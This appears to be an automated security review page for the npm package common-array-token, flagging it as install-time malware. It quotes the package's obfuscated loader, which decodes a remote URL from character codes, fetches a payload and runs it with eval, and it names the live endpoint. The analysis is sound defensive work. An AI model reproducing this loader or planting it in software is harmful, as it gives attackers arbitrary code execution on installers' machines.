registry / common-array-token / 1.0.0

common-array-token@1.0.0

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package automatically runs code that downloads and evaluates a remote payload. The remote server controls the executed JavaScript.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation invokes the post-install lifecycle hook.

Impact

An attacker controlling the remote endpoint can execute arbitrary code with the installing user's privileges.

Mechanism

Obfuscated remote fetch followed by eval of a response field.

Attack narrative

The manifest runs index.js after installation. That file reconstructs a remote endpoint from numeric character codes, fetches JSON, extracts token, and evaluates it. This creates a remotely controlled arbitrary-code-execution path without any user action beyond installing the package.

Rationale

This is a concrete install-time remote code execution chain, not a package-aligned runtime feature. The endpoint response is executed without validation.

Evidence

package.jsonindex.js

Network endpoints1

access-token-delta.vercel.app/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

A post-install hook runs the package entry point automatically during installation.
The entry point reconstructs a remote URL from character codes and fetches JSON from it.
It passes the remotely supplied token directly to eval, allowing arbitrary code execution at install time.

Evidence against

Behavioral surface

Source

EvalNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 509 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

3const array = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 99, 99, 101, 115, 115, 45, 116, 111, 107, 101, 110, 45, 100, 101, 108, 116, 97, 46, 118, 101, 114, 99, 101, 108, 46, 97, 112, 112, 47 ] const { token } = await (await fetch(String.fromCharCode(...array))).json();

High

Ai Review Evidence

The entry point reconstructs a remote URL from character codes and fetches JSON from it.

index.jsView on unpkg · L3

10const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token)

High

Ai Review Evidence

It passes the remotely supplied token directly to eval, allowing arbitrary code execution at install time.

index.jsView on unpkg · L10

11console.log(token) L12: eval(token) L13:

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L11

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

High

Ai Review Evidence

The entry point reconstructs a remote URL from character codes and fetches JSON from it.

index.jsView on unpkg · L3

10const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token)

High

Ai Review Evidence

It passes the remotely supplied token directly to eval, allowing arbitrary code execution at install time.

index.js

Findings

3 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowEvalindex.js